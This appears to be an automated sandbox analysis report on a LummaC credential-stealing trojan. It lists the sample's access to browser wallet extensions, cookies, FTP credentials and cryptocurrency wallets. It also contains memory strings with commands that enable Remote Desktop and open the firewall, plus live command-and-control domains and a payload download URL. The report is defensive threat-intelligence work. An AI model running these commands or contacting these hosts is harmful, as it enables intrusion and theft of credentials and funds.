Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: 0.2.random.exe.ea0000.0.unpack, type: UNPACKEDPE

Contains functionality to start a terminal service

Source: LOVY9V33XUNTEHY6.exe	String found in binary or memory: net start termservice
Source: LOVY9V33XUNTEHY6.exe, 00000003.00000002.1154084716.0000000000BF1000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: net start termservice
Source: LOVY9V33XUNTEHY6.exe, 00000003.00000002.1154084716.0000000000BF1000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000002.1167203467.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000002.1167203467.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	2 OS Credential Dumping	961 Security Software Discovery	1 Remote Desktop Protocol	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Scheduled Task/Job	44 Virtualization/Sandbox Evasion	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	11 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	224 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe	55%	Virustotal		Browse
random.exe	50%	ReversingLabs	Win32.Trojan.Symmi
random.exe	100%	Avira	TR/Crypt.XPACK.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://loadoutle.life/	100%	Avira URL Cloud	malware
https://loadoutle.life:443/kpLsOAm	100%	Avira URL Cloud	malware
https://loadoutle.life/d	100%	Avira URL Cloud	malware
http://176.113.115.7/mine/ran2y	0%	Avira URL Cloud	safe
http://176.113.115.7//J	0%	Avira URL Cloud	safe
https://loadoutle.life:443/kpLsOAmicrosoft	100%	Avira URL Cloud	malware
https://loadoutle.life/x	100%	Avira URL Cloud	malware
http://176.11	0%	Avira URL Cloud	safe
https://loadoutle.life/J	100%	Avira URL Cloud	malware
blackeblast.run/giAbst	100%	Avira URL Cloud	malware
https://loadoutle.life/A	100%	Avira URL Cloud	malware
loadoutle.life/kpLsOAm	100%	Avira URL Cloud	malware
https://loadoutle.life/kpLsOAm	100%	Avira URL Cloud	malware
https://loadoutle.life/kpLsOAmuw	100%	Avira URL Cloud	malware
http://176.113.115.7:80/mine/random.exeoft	0%	Avira URL Cloud	safe
https://loadoutle.life/kpLsOAmr;	100%	Avira URL Cloud	malware
http://176.113.115.7//	0%	Avira URL Cloud	safe
https://loadoutle.life/_)	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
loadoutle.life	188.114.97.3	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
weaponwo.life/NghsayA	false		high
selfdefens.bet/dASBUz	false		high
caliberc.today/KowpqlL	false		high
pistolpra.bet/dABYyaz	false		high
armoryarch.shop/GiqwY	false		high
targett.top/dsANGt	false		high
armamenti.world/dsIOQn	false		high
blackeblast.run/giAbst	true	Avira URL Cloud: malware	unknown
loadoutle.life/kpLsOAm	true	Avira URL Cloud: malware	unknown
https://loadoutle.life/kpLsOAm	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/ac/?q=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life:443/kpLsOAm	random.exe, 00000000.00000003.928071515.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life/	random.exe, 00000000.00000003.1007200494.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://loadoutle.life/x	random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7/mine/ran2y	random.exe, 00000000.00000003.1056612349.0000000001805000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017317907.0000000001805000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7//J	random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life/d	random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://loadoutle.life:443/kpLsOAmicrosoft	random.exe, 00000000.00000003.1007454160.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.11	random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/J	random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
